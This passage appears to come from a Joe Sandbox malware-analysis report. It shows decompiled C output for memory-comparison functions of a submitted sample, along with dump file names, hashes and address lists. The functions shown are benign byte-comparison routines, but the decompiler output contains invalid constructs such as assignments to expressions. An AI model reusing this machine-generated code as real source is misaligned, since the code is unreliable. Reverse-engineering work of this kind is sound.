					__eflags = (_t193 & 0x000000ff) - ( *(_t298 - 0x1a) & 0x000000ff);
					if(__eflags == 0) {
						L19:
						__eflags = ( *(_t351 - 0x19) & 0x000000ff) - ( *(_t298 - 0x19) & 0x000000ff);
						if(__eflags == 0) {
							L21:
							__eflags = ( *(_t351 - 0x18) & 0x000000ff) - ( *(_t298 - 0x18) & 0x000000ff);
							if(__eflags == 0) {
								L23:
								_t241 = ( *(_t351 - 0x17) & 0x000000ff) - ( *(_t298 - 0x17) & 0x000000ff);
								__eflags = _t241;
								if(_t241 != 0) {
									__eflags = _t241;
									_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
								}
								goto L26;
							}
							_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
							__eflags = _t241;
							if(_t241 != 0) {
								goto L2;
							}
							goto L23;
						}
						_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
						__eflags = _t241;
						if(_t241 != 0) {
							goto L2;
						}
						goto L21;
					}
					_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
					__eflags = _t241;
					if(_t241 != 0) {
						goto L2;
					}
					goto L19;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
					__eflags = __edi;
					if(__eflags == 0) {
						L8:
						__edi =  *(__esi - 0x1d) & 0x000000ff;
						__edi = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
						__eflags = __edi;
						if(__eflags == 0) {
							L10:
							__edi =  *(__esi - 0x1c) & 0x000000ff;
							__edi = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L12:
								__ecx =  *(__esi - 0x1b) & 0x000000ff;
								__ecx = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
								__eflags = __ecx;
								if(__ecx != 0) {
									__eflags = __ecx;
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L15;
							}
							__ecx = 0;
							__edi = __edi;
							0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								L2:
								_t192 = _t241;
								return _t192;
							}
							goto L12;
						}
						__ecx = 0;
						__edi = __edi;
						0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
						__ecx = (__eflags > 0) * 2 - 1;
						__eflags = __ecx;
						if(__ecx != 0) {
							goto L2;
						}
						goto L10;
					}
					__ecx = 0;
					__edi = __edi;
					__ecx = 0 | __eflags > 0x00000000;
					__ecx = (__eflags > 0) * 2 - 1;
					__eflags = __ecx;
					if(__ecx != 0) {
						goto L2;
					}
					goto L8;
				}
			}

0x01153c22
0x01153c22
0x01153c28
0x01153caf
0x01153caf
0x01153cb1
0x01153cb1
0x01153cb3
0x00000000
0x00000000
0x01153cb9
0x01153cbc
0x01153cbf
0x01153d46
0x01153d46
0x01153d48
0x01153d48
0x01153d4a
0x00000000
0x00000000
0x01153d50
0x01153d53
0x01153d56
0x01153ddd
0x01153ddd
0x01153ddf
0x01153ddf
0x01153de1
0x00000000
0x00000000
0x01153de7
0x01153dea
0x01153ded
0x01153e74
0x01153e74
0x01153e76
0x01153e76
0x01153e78
0x00000000
0x00000000
0x01153e7e
0x01153e81
0x01153e84
0x01153f0b
0x01153f0b
0x01153f0d
0x01153f0d
0x01153f0f
0x00000000
0x00000000
0x01153f18
0x01153f1b
0x01153fa3
0x01153fa3
0x01153fa5
0x01153fa5
0x01153fa5
0x01153fa7
0x00000000
0x00000000
0x01153fad
0x01153fb0
0x01153fb3
0x0115403a
0x0115403a
0x0115403c
0x0115403c
0x0115403e
0x00000000
0x00000000
0x01154048
0x0115404c
0x011537e3
0x00000000
0x011537e3
0x011544a4
0x011544a6
0x01153bff
0x01153c07
0x01153c07
0x01153c09
0x01153c16
0x01153c16
0x00000000
0x011544ac
0x011544b3
0x01153bf7
0x01153bf7
0x01153bf9
0x00000000
0x00000000
0x00000000
0x00000000
0x01153bf9
0x011544a6
0x01153fc0
0x01153fc2
0x01153fda
0x01153fe2
0x01153fe4
0x01153ffc
0x01154004
0x01154004
0x01154006
0x0115401e
0x01154026
0x01154026
0x01154028
0x01154031
0x01154031
0x00000000
0x01154028
0x0115400a
0x0115400f
0x01154016
0x01154018
0x00000000
0x00000000
0x00000000
0x01154018
0x01153ff4
0x01153ff4
0x01153ff6
0x00000000
0x00000000
0x00000000
0x01153ff6
0x01153fd2
0x01153fd2
0x01153fd4
0x00000000
0x00000000
0x00000000
0x01153fd4
0x01153f29
0x01153f2b
0x01153f43
0x01153f4b
0x01153f4d
0x01153f65
0x01153f6d
0x01153f6f
0x01153f87
0x01153f8f
0x01153f8f
0x01153f91
0x01153f95
0x01153f9a
0x01153f9a
0x00000000
0x01153f91
0x01153f78
0x01153f7f
0x01153f81
0x00000000
0x00000000
0x00000000
0x01153f81
0x01153f56
0x01153f5d
0x01153f5f
0x00000000
0x00000000
0x00000000
0x01153f5f
0x01153f34
0x01153f3b
0x01153f3d
0x00000000
0x00000000
0x00000000
0x01153f3d
0x01153e91
0x01153e93
0x01153eab
0x01153eb3
0x01153eb3
0x01153eb5
0x01153ecd
0x01153ed5
0x01153ed5
0x01153ed7
0x01153eef
0x01153ef7
0x01153ef7
0x01153ef9
0x01153f02
0x01153f02
0x00000000
0x01153ef9
0x01153edb
0x01153ee0
0x01153ee7
0x01153ee9
0x00000000
0x00000000
0x00000000
0x01153ee9
0x01153eb9
0x01153ebe
0x01153ec5
0x01153ec7
0x00000000
0x00000000
0x00000000
0x01153ec7
0x01153e9c
0x01153ea3
0x01153ea5
0x00000000
0x00000000
0x00000000
0x01153ea5
0x01153dfa
0x01153dfc
0x01153e14
0x01153e1c
0x01153e1e
0x01153e36
0x01153e3e
0x01153e3e
0x01153e40
0x01153e58
0x01153e60
0x01153e60
0x01153e62
0x01153e66
0x01153e6b
0x01153e6b
0x00000000
0x01153e62
0x01153e44
0x01153e49
0x01153e50
0x01153e52
0x00000000
0x00000000
0x00000000
0x01153e52
0x01153e27
0x01153e2e
0x01153e30
0x00000000
0x00000000
0x00000000
0x01153e30
0x01153e05
0x01153e0c
0x01153e0e
0x00000000
0x00000000
0x00000000
0x01153e0e
0x01153d63
0x01153d63
0x01153d65
0x01153d7d
0x01153d85
0x01153d87
0x01153d9f
0x01153da7
0x01153da7
0x01153da9
0x01153dc1
0x01153dc9
0x01153dc9
0x01153dcb
0x01153dcf
0x01153dd4
0x01153dd4
0x00000000
0x01153dcb
0x01153dad
0x01153db2
0x01153db9
0x01153dbb
0x00000000
0x00000000
0x00000000
0x01153dbb
0x01153d97
0x01153d97
0x01153d99
0x00000000
0x00000000
0x00000000
0x01153d99
0x01153d69
0x01153d75
0x01153d75
0x01153d77
0x00000000
0x00000000
0x00000000
0x01153d77
0x01153ccc
0x01153cce
0x01153ce6
0x01153cee
0x01153cf0
0x01153d08
0x01153d10
0x01153d12
0x01153d2a
0x01153d32
0x01153d32
0x01153d34
0x01153d38
0x01153d3d
0x01153d3d
0x00000000
0x01153d34
0x01153d1b
0x01153d22
0x01153d24
0x00000000
0x00000000
0x00000000
0x01153d24
0x01153d00
0x01153d00
0x01153d02
0x00000000
0x00000000
0x00000000
0x01153d02
0x01153cde
0x01153cde
0x01153ce0
0x00000000
0x00000000
0x00000000
0x01153c2e
0x01153c2e
0x01153c35
0x01153c35
0x01153c37
0x01153c4f
0x01153c4f
0x01153c57
0x01153c57
0x01153c59
0x01153c71
0x01153c71
0x01153c79
0x01153c79
0x01153c7b
0x01153c93
0x01153c93
0x01153c9b
0x01153c9b
0x01153c9d
0x01153ca1
0x01153ca6
0x01153ca6
0x00000000
0x01153c9d
0x01153c7d
0x01153c7f
0x01153c84
0x01153c8b
0x01153c8b
0x01153c8d
0x011537e5
0x011537e6
0x011545d6
0x011545d6
0x00000000
0x01153c8d
0x01153c5b
0x01153c5d
0x01153c62
0x01153c69
0x01153c69
0x01153c6b
0x00000000
0x00000000
0x00000000
0x01153c6b
0x01153c39
0x01153c3b
0x01153c3d
0x01153c40
0x01153c47
0x01153c49
0x00000000
0x00000000
0x00000000
0x01153c49

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2a31b7eef94ef24157fa749a9fe31bae13c52f1d7202b11a14a9dd25edc549b
Instruction ID: 7ccd6755db6a657679b57990e899cbcd340b9f5580d900288b1abba820db34b8
Opcode Fuzzy Hash: f2a31b7eef94ef24157fa749a9fe31bae13c52f1d7202b11a14a9dd25edc549b
Instruction Fuzzy Hash: DAC153722150928DEFAE4A3E853443EFEA16A917F131A075ED8B3CB0D5FF20D165D620

Uniqueness

Uniqueness Score: -1.00%

Function 01154057, Relevance: .3, Instructions: 342
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E01154057(void* __edx, void* __esi) {
				void* _t197;
				signed char _t198;
				signed char _t199;
				signed char _t200;
				signed char _t202;
				signed char _t203;
				signed int _t246;
				signed int _t247;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				signed int _t251;
				signed int _t256;
				void* _t315;
				signed int _t324;
				signed int _t326;
				signed int _t328;
				signed int _t332;
				signed int _t338;
				signed int _t342;
				signed int _t345;
				signed int _t353;
				signed int _t357;
				signed int _t360;
				signed int _t362;
				void* _t366;

				_t366 = __esi;
				_t315 = __edx;
				if( *((intOrPtr*)(__esi - 0x1f)) ==  *((intOrPtr*)(__edx - 0x1f))) {
					_t246 = 0;
					__eflags = 0;
					L14:
					__eflags = _t246;
					if(_t246 != 0) {
						goto L1;
					}
					_t198 =  *(_t366 - 0x1b);
					__eflags = _t198 -  *(_t315 - 0x1b);
					if(_t198 ==  *(_t315 - 0x1b)) {
						_t247 = 0;
						__eflags = 0;
						L25:
						_t246 = _t247;
						__eflags = _t246;
						if(_t246 != 0) {
							goto L1;
						}
						_t199 =  *(_t366 - 0x17);
						__eflags = _t199 -  *(_t315 - 0x17);
						if(_t199 ==  *(_t315 - 0x17)) {
							_t246 = 0;
							__eflags = 0;
							L36:
							__eflags = _t246;
							if(_t246 != 0) {
								goto L1;
							}
							_t200 =  *(_t366 - 0x13);
							__eflags = _t200 -  *(_t315 - 0x13);
							if(_t200 ==  *(_t315 - 0x13)) {
								_t248 = 0;
								__eflags = 0;
								L47:
								_t246 = _t248;
								__eflags = _t246;
								if(_t246 != 0) {
									goto L1;
								}
								__eflags =  *(_t366 - 0xf) -  *(_t315 - 0xf);
								if( *(_t366 - 0xf) ==  *(_t315 - 0xf)) {
									_t249 = 0;
									__eflags = 0;
									L58:
									_t246 = _t249;
									__eflags = _t246;
									if(_t246 != 0) {
										goto L1;
									}
									_t202 =  *(_t366 - 0xb);
									__eflags = _t202 -  *(_t315 - 0xb);
									if(_t202 ==  *(_t315 - 0xb)) {
										_t250 = 0;
										__eflags = 0;
										L69:
										_t246 = _t250;
										__eflags = _t246;
										if(_t246 != 0) {
											goto L1;
										}
										_t203 =  *(_t366 - 7);
										__eflags = _t203 -  *(_t315 - 7);
										if(_t203 ==  *(_t315 - 7)) {
											_t251 = 0;
											__eflags = 0;
											L80:
											_t246 = _t251;
											__eflags = _t246;
											if(_t246 != 0) {
												goto L1;
											}
											__eflags = ( *(_t366 - 3) & 0x000000ff) - ( *(_t315 - 3) & 0x000000ff);
											if(__eflags == 0) {
												L83:
												__eflags = ( *(_t366 - 2) & 0x000000ff) - ( *(_t315 - 2) & 0x000000ff);
												if(__eflags == 0) {
													L3:
													_t246 = ( *(_t366 - 1) & 0x000000ff) - ( *(_t315 - 1) & 0x000000ff);
													__eflags = _t246;
													if(__eflags != 0) {
														_t246 = (0 | __eflags > 0x00000000) * 2 - 1;
													}
													goto L1;
												}
												_t256 = (0 | __eflags > 0x00000000) * 2 - 1;
												_t246 = _t256;
												__eflags = _t246;
												if(_t246 != 0) {
													goto L1;
												} else {
													goto L3;
												}
											}
											_t246 = (0 | __eflags > 0x00000000) * 2 - 1;
											__eflags = _t246;
											if(_t246 != 0) {
												goto L1;
											}
											goto L83;
										}
										_t324 = (_t203 & 0x000000ff) - ( *(_t315 - 7) & 0x000000ff);
										__eflags = _t324;
										if(_t324 == 0) {
											L73:
											_t326 = ( *(_t366 - 6) & 0x000000ff) - ( *(_t315 - 6) & 0x000000ff);
											__eflags = _t326;
											if(_t326 == 0) {
												L75:
												_t328 = ( *(_t366 - 5) & 0x000000ff) - ( *(_t315 - 5) & 0x000000ff);
												__eflags = _t328;
												if(_t328 == 0) {
													L77:
													_t251 = ( *(_t366 - 4) & 0x000000ff) - ( *(_t315 - 4) & 0x000000ff);
													__eflags = _t251;
													if(__eflags != 0) {
														_t251 = (0 | __eflags > 0x00000000) * 2 - 1;
													}
													goto L80;
												}
												__eflags = _t328;
												_t246 = (0 | _t328 > 0x00000000) * 2 - 1;
												__eflags = _t246;
												if(_t246 != 0) {
													goto L1;
												}
												goto L77;
											}
											__eflags = _t326;
											_t246 = (0 | _t326 > 0x00000000) * 2 - 1;
											__eflags = _t246;
											if(_t246 != 0) {
												goto L1;
											}
											goto L75;
										}
										__eflags = _t324;
										_t246 = (0 | _t324 > 0x00000000) * 2 - 1;
										__eflags = _t246;
										if(_t246 != 0) {
											goto L1;
										}
										goto L73;
									}
									__eflags = (_t202 & 0x000000ff) - ( *(_t315 - 0xb) & 0x000000ff);
									if(__eflags == 0) {
										L62:
										_t332 = ( *(_t366 - 0xa) & 0x000000ff) - ( *(_t315 - 0xa) & 0x000000ff);
										__eflags = _t332;
										if(_t332 == 0) {
											L64:
											__eflags = ( *(_t366 - 9) & 0x000000ff) - ( *(_t315 - 9) & 0x000000ff);
											if(__eflags == 0) {
												L66:
												_t250 = ( *(_t366 - 8) & 0x000000ff) - ( *(_t315 - 8) & 0x000000ff);
												__eflags = _t250;
												if(__eflags != 0) {
													_t250 = (0 | __eflags > 0x00000000) * 2 - 1;
												}
												goto L69;
											}
											_t246 = (0 | __eflags > 0x00000000) * 2 - 1;
											__eflags = _t246;
											if(_t246 != 0) {
												goto L1;
											}
											goto L66;
										}
										__eflags = _t332;
										_t246 = (0 | _t332 > 0x00000000) * 2 - 1;
										__eflags = _t246;
										if(_t246 != 0) {
											goto L1;
										}
										goto L64;
									}
									_t246 = (0 | __eflags > 0x00000000) * 2 - 1;
									__eflags = _t246;
									if(_t246 != 0) {
										goto L1;
									}
									goto L62;
								}
								_t338 = ( *(_t366 - 0xf) & 0x000000ff) - ( *(_t315 - 0xf) & 0x000000ff);
								__eflags = _t338;
								if(_t338 == 0) {
									L51:
									__eflags = ( *(_t366 - 0xe) & 0x000000ff) - ( *(_t315 - 0xe) & 0x000000ff);
									if(__eflags == 0) {
										L53:
										_t342 = ( *(_t366 - 0xd) & 0x000000ff) - ( *(_t315 - 0xd) & 0x000000ff);
										__eflags = _t342;
										if(_t342 == 0) {
											L55:
											_t249 = ( *(_t366 - 0xc) & 0x000000ff) - ( *(_t315 - 0xc) & 0x000000ff);
											__eflags = _t249;
											if(_t249 != 0) {
												__eflags = _t249;
												_t249 = (0 | _t249 > 0x00000000) * 2 - 1;
											}
											goto L58;
										}
										__eflags = _t342;
										_t246 = (0 | _t342 > 0x00000000) * 2 - 1;
										__eflags = _t246;
										if(_t246 != 0) {
											goto L1;
										}
										goto L55;
									}
									_t246 = (0 | __eflags > 0x00000000) * 2 - 1;
									__eflags = _t246;
									if(_t246 != 0) {
										goto L1;
									}
									goto L53;
								}
								__eflags = _t338;
								_t246 = (0 | _t338 > 0x00000000) * 2 - 1;
								__eflags = _t246;
								if(_t246 != 0) {
									goto L1;
								}
								goto L51;
							}
							_t345 = (_t200 & 0x000000ff) - ( *(_t315 - 0x13) & 0x000000ff);
							__eflags = _t345;
							if(_t345 == 0) {
								L40:
								__eflags = ( *(_t366 - 0x12) & 0x000000ff) - ( *(_t315 - 0x12) & 0x000000ff);
								if(__eflags == 0) {
									L42:
									__eflags = ( *(_t366 - 0x11) & 0x000000ff) - ( *(_t315 - 0x11) & 0x000000ff);
									if(__eflags == 0) {
										L44:
										_t248 = ( *(_t366 - 0x10) & 0x000000ff) - ( *(_t315 - 0x10) & 0x000000ff);
										__eflags = _t248;
										if(__eflags != 0) {
											_t248 = (0 | __eflags > 0x00000000) * 2 - 1;
										}
										goto L47;
									}
									_t246 = (0 | __eflags > 0x00000000) * 2 - 1;
									__eflags = _t246;
									if(_t246 != 0) {
										goto L1;
									}
									goto L44;
								}
								_t246 = (0 | __eflags > 0x00000000) * 2 - 1;
								__eflags = _t246;
								if(_t246 != 0) {
									goto L1;
								}
								goto L42;
							}
							__eflags = _t345;
							_t246 = (0 | _t345 > 0x00000000) * 2 - 1;
							__eflags = _t246;
							if(_t246 != 0) {
								goto L1;
							}
							goto L40;
						}
						_t353 = (_t199 & 0x000000ff) - ( *(_t315 - 0x17) & 0x000000ff);
						__eflags = _t353;
						if(_t353 == 0) {
							L29:
							__eflags = ( *(_t366 - 0x16) & 0x000000ff) - ( *(_t315 - 0x16) & 0x000000ff);
							if(__eflags == 0) {
								L31:
								_t357 = ( *(_t366 - 0x15) & 0x000000ff) - ( *(_t315 - 0x15) & 0x000000ff);
								__eflags = _t357;
								if(_t357 == 0) {
									L33:
									_t246 = ( *(_t366 - 0x14) & 0x000000ff) - ( *(_t315 - 0x14) & 0x000000ff);
									__eflags = _t246;
									if(__eflags != 0) {
										_t246 = (0 | __eflags > 0x00000000) * 2 - 1;
									}
									goto L36;
								}
								__eflags = _t357;
								_t246 = (0 | _t357 > 0x00000000) * 2 - 1;
								__eflags = _t246;
								if(_t246 != 0) {
									goto L1;
								}
								goto L33;
							}
							_t246 = (0 | __eflags > 0x00000000) * 2 - 1;
							__eflags = _t246;
							if(_t246 != 0) {
								goto L1;
							}
							goto L31;
						}
						__eflags = _t353;
						_t246 = (0 | _t353 > 0x00000000) * 2 - 1;
						__eflags = _t246;
						if(_t246 != 0) {
							goto L1;
						}
						goto L29;
					}
					_t360 = (_t198 & 0x000000ff) - ( *(_t315 - 0x1b) & 0x000000ff);
					__eflags = _t360;
					if(_t360 == 0) {
						L18:
						_t362 = ( *(_t366 - 0x1a) & 0x000000ff) - ( *(_t315 - 0x1a) & 0x000000ff);
						__eflags = _t362;
						if(_t362 == 0) {
							L20:
							__eflags = ( *(_t366 - 0x19) & 0x000000ff) - ( *(_t315 - 0x19) & 0x000000ff);
							if(__eflags == 0) {
								L22:
								_t247 = ( *(_t366 - 0x18) & 0x000000ff) - ( *(_t315 - 0x18) & 0x000000ff);
								__eflags = _t247;
								if(__eflags != 0) {
									_t247 = (0 | __eflags > 0x00000000) * 2 - 1;
								}
								goto L25;
							}
							_t246 = (0 | __eflags > 0x00000000) * 2 - 1;
							__eflags = _t246;
							if(_t246 != 0) {
								goto L1;
							}
							goto L22;
						}
						__eflags = _t362;
						_t246 = (0 | _t362 > 0x00000000) * 2 - 1;
						__eflags = _t246;
						if(_t246 != 0) {
							goto L1;
						}
						goto L20;
					}
					__eflags = _t360;
					_t246 = (0 | _t360 > 0x00000000) * 2 - 1;
					__eflags = _t246;
					if(_t246 != 0) {
						goto L1;
					}
					goto L18;
				} else {
					__edi =  *(__esi - 0x1f) & 0x000000ff;
					__edi = ( *(__esi - 0x1f) & 0x000000ff) - ( *(__edx - 0x1f) & 0x000000ff);
					__eflags = __edi;
					if(__edi == 0) {
						L7:
						__edi =  *(__esi - 0x1e) & 0x000000ff;
						__edi = ( *(__esi - 0x1e) & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
						__eflags = __edi;
						if(__edi == 0) {
							L9:
							__edi =  *(__esi - 0x1d) & 0x000000ff;
							__edi = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L11:
								__ecx =  *(__esi - 0x1c) & 0x000000ff;
								__ecx = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
								__eflags = __ecx;
								if(__ecx != 0) {
									__eflags = __ecx;
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L14;
							}
							__ecx = 0;
							__edi = __edi;
							0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L1;
							}
							goto L11;
						}
						__ecx = 0;
						__eflags = __edi;
						__ecx = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 - 1;
						__eflags = __ecx;
						if(__ecx != 0) {
							goto L1;
						}
						goto L9;
					}
					__ecx = 0;
					__eflags = __edi;
					0 | __edi > 0x00000000 = (__edi > 0) * 2 - 1;
					__ecx = (__edi > 0) * 2 - 1;
					__eflags = __ecx;
					if(__ecx != 0) {
						goto L1;
					}
					goto L7;
				}
				L1:
				_t197 = _t246;
				return _t197;
			}

0x01154057
0x01154057
0x0115405d
0x011540e5
0x011540e5
0x011540e7
0x011540e7
0x011540e9
0x00000000
0x00000000
0x011540ef
0x011540f2
0x011540f5
0x0115417c
0x0115417c
0x0115417e
0x0115417e
0x0115417e
0x01154180
0x00000000
0x00000000
0x01154186
0x01154189
0x0115418c
0x01154213
0x01154213
0x01154215
0x01154215
0x01154217
0x00000000
0x00000000
0x0115421d
0x01154220
0x01154223
0x011542aa
0x011542aa
0x011542ac
0x011542ac
0x011542ac
0x011542ae
0x00000000
0x00000000
0x011542b7
0x011542ba
0x01154342
0x01154342
0x01154344
0x01154344
0x01154344
0x01154346
0x00000000
0x00000000
0x0115434c
0x0115434f
0x01154352
0x011543d9
0x011543d9
0x011543db
0x011543db
0x011543db
0x011543dd
0x00000000
0x00000000
0x011543e3
0x011543e6
0x011543e9
0x01154470
0x01154470
0x01154472
0x01154472
0x01154472
0x01154474
0x00000000
0x00000000
0x01154482
0x01154484
0x0115449c
0x011544a4
0x011544a6
0x01153bff
0x01153c07
0x01153c07
0x01153c09
0x01153c16
0x01153c16
0x00000000
0x01153c09
0x011544b3
0x01153bf7
0x01153bf7
0x01153bf9
0x00000000
0x00000000
0x00000000
0x00000000
0x01153bf9
0x0115448d
0x01154494
0x01154496
0x00000000
0x00000000
0x00000000
0x01154496
0x011543f6
0x011543f6
0x011543f8
0x01154410
0x01154418
0x01154418
0x0115441a
0x01154432
0x0115443a
0x0115443a
0x0115443c
0x01154454
0x0115445c
0x0115445c
0x0115445e
0x01154467
0x01154467
0x00000000
0x0115445e
0x01154440
0x0115444c
0x0115444c
0x0115444e
0x00000000
0x00000000
0x00000000
0x0115444e
0x0115441e
0x01154423
0x0115442a
0x0115442c
0x00000000
0x00000000
0x00000000
0x0115442c
0x011543fc
0x01154408
0x01154408
0x0115440a
0x00000000
0x00000000
0x00000000
0x0115440a
0x0115435f
0x01154361
0x01154379
0x01154381
0x01154381
0x01154383
0x0115439b
0x011543a3
0x011543a5
0x011543bd
0x011543c5
0x011543c5
0x011543c7
0x011543d0
0x011543d0
0x00000000
0x011543c7
0x011543b5
0x011543b5
0x011543b7
0x00000000
0x00000000
0x00000000
0x011543b7
0x01154387
0x01154393
0x01154393
0x01154395
0x00000000
0x00000000
0x00000000
0x01154395
0x0115436a
0x01154371
0x01154373
0x00000000
0x00000000
0x00000000
0x01154373
0x011542c8
0x011542c8
0x011542ca
0x011542e2
0x011542ea
0x011542ec
0x01154304
0x0115430c
0x0115430c
0x0115430e
0x01154326
0x0115432e
0x0115432e
0x01154330
0x01154334
0x01154339
0x01154339
0x00000000
0x01154330
0x01154312
0x0115431e
0x0115431e
0x01154320
0x00000000
0x00000000
0x00000000
0x01154320
0x011542fc
0x011542fc
0x011542fe
0x00000000
0x00000000
0x00000000
0x011542fe
0x011542ce
0x011542d3
0x011542da
0x011542dc
0x00000000
0x00000000
0x00000000
0x011542dc
0x01154230
0x01154230
0x01154232
0x0115424a
0x01154252
0x01154254
0x0115426c
0x01154274
0x01154276
0x0115428e
0x01154296
0x01154296
0x01154298
0x011542a1
0x011542a1
0x00000000
0x01154298
0x0115427f
0x01154286
0x01154288
0x00000000
0x00000000
0x00000000
0x01154288
0x01154264
0x01154264
0x01154266
0x00000000
0x00000000
0x00000000
0x01154266
0x01154236
0x0115423b
0x01154242
0x01154244
0x00000000
0x00000000
0x00000000
0x01154244
0x01154199
0x01154199
0x0115419b
0x011541b3
0x011541bb
0x011541bd
0x011541d5
0x011541dd
0x011541dd
0x011541df
0x011541f7
0x011541ff
0x011541ff
0x01154201
0x0115420a
0x0115420a
0x00000000
0x01154201
0x011541e3
0x011541e8
0x011541ef
0x011541f1
0x00000000
0x00000000
0x00000000
0x011541f1
0x011541cd
0x011541cd
0x011541cf
0x00000000
0x00000000
0x00000000
0x011541cf
0x0115419f
0x011541ab
0x011541ab
0x011541ad
0x00000000
0x00000000
0x00000000
0x011541ad
0x01154102
0x01154102
0x01154104
0x0115411c
0x01154124
0x01154124
0x01154126
0x0115413e
0x01154146
0x01154148
0x01154160
0x01154168
0x01154168
0x0115416a
0x01154173
0x01154173
0x00000000
0x0115416a
0x01154151
0x01154158
0x0115415a
0x00000000
0x00000000
0x00000000
0x0115415a
0x0115412a
0x0115412f
0x01154136
0x01154138
0x00000000
0x00000000
0x00000000
0x01154138
0x01154108
0x0115410d
0x01154114
0x01154116
0x00000000
0x00000000
0x00000000
0x01154063
0x01154067
0x0115406b
0x0115406b
0x0115406d
0x01154085
0x01154085
0x0115408d
0x0115408d
0x0115408f
0x011540a7
0x011540a7
0x011540af
0x011540af
0x011540b1
0x011540c9
0x011540c9
0x011540d1
0x011540d1
0x011540d3
0x011540d7
0x011540dc
0x011540dc
0x00000000
0x011540d3
0x011540b3
0x011540b5
0x011540ba
0x011540c1
0x011540c1
0x011540c3
0x00000000
0x00000000
0x00000000
0x011540c3
0x01154091
0x01154093
0x01154095
0x01154098
0x0115409f
0x011540a1
0x00000000
0x00000000
0x00000000
0x011540a1
0x0115406f
0x01154071
0x01154076
0x0115407d
0x0115407d
0x0115407f
0x00000000
0x00000000
0x00000000
0x0115407f
0x011537e5
0x011537e6
0x011545d6

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb905d25bda31c72ac7a83e8df3d7ed663550247e989aa725779673e9c2963ea
Instruction ID: f65ac918a8bc5df4ccc520131d92a2023fafa11091075fc9be79639af90b848f
Opcode Fuzzy Hash: cb905d25bda31c72ac7a83e8df3d7ed663550247e989aa725779673e9c2963ea
Instruction Fuzzy Hash: F7C184772090A28EEFAD4B3D847443EFFA16A916F131A076DD8B2CB4D5FF209164D520

Uniqueness

Uniqueness Score: -1.00%

Function 011537ED, Relevance: .3, Instructions: 332
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E011537ED(void* __edx, void* __esi) {
				void* _t184;
				signed char _t185;
				signed char _t186;
				signed char _t187;
				signed char _t188;
				signed char _t190;
				signed int _t231;
				signed int _t233;
				signed int _t234;
				void* _t292;
				signed int _t297;
				signed int _t299;
				signed int _t302;
				signed int _t304;
				signed int _t311;
				signed int _t313;
				signed int _t316;
				signed int _t318;
				signed int _t327;
				signed int _t335;
				void* _t338;

				_t338 = __esi;
				_t292 = __edx;
				if( *((intOrPtr*)(__esi - 0x1d)) ==  *((intOrPtr*)(__edx - 0x1d))) {
					__eflags = 0;
					L11:
					_t231 = 0;
					__eflags = 0;
					if(0 != 0) {
						goto L1;
					}
					_t185 =  *(_t338 - 0x19);
					__eflags = _t185 -  *(_t292 - 0x19);
					if(_t185 ==  *(_t292 - 0x19)) {
						_t231 = 0;
						__eflags = 0;
						L22:
						__eflags = _t231;
						if(_t231 != 0) {
							goto L1;
						}
						_t186 =  *(_t338 - 0x15);
						__eflags = _t186 -  *(_t292 - 0x15);
						if(_t186 ==  *(_t292 - 0x15)) {
							_t231 = 0;
							__eflags = 0;
							L33:
							__eflags = _t231;
							if(_t231 != 0) {
								goto L1;
							}
							_t187 =  *(_t338 - 0x11);
							__eflags = _t187 -  *(_t292 - 0x11);
							if(_t187 ==  *(_t292 - 0x11)) {
								_t231 = 0;
								__eflags = 0;
								L44:
								__eflags = _t231;
								if(_t231 != 0) {
									goto L1;
								}
								_t188 =  *(_t338 - 0xd);
								__eflags = _t188 -  *(_t292 - 0xd);
								if(_t188 ==  *(_t292 - 0xd)) {
									_t233 = 0;
									__eflags = 0;
									L55:
									_t231 = _t233;
									__eflags = _t231;
									if(_t231 != 0) {
										goto L1;
									}
									__eflags =  *(_t338 - 9) -  *(_t292 - 9);
									if( *(_t338 - 9) ==  *(_t292 - 9)) {
										_t231 = 0;
										__eflags = 0;
										L66:
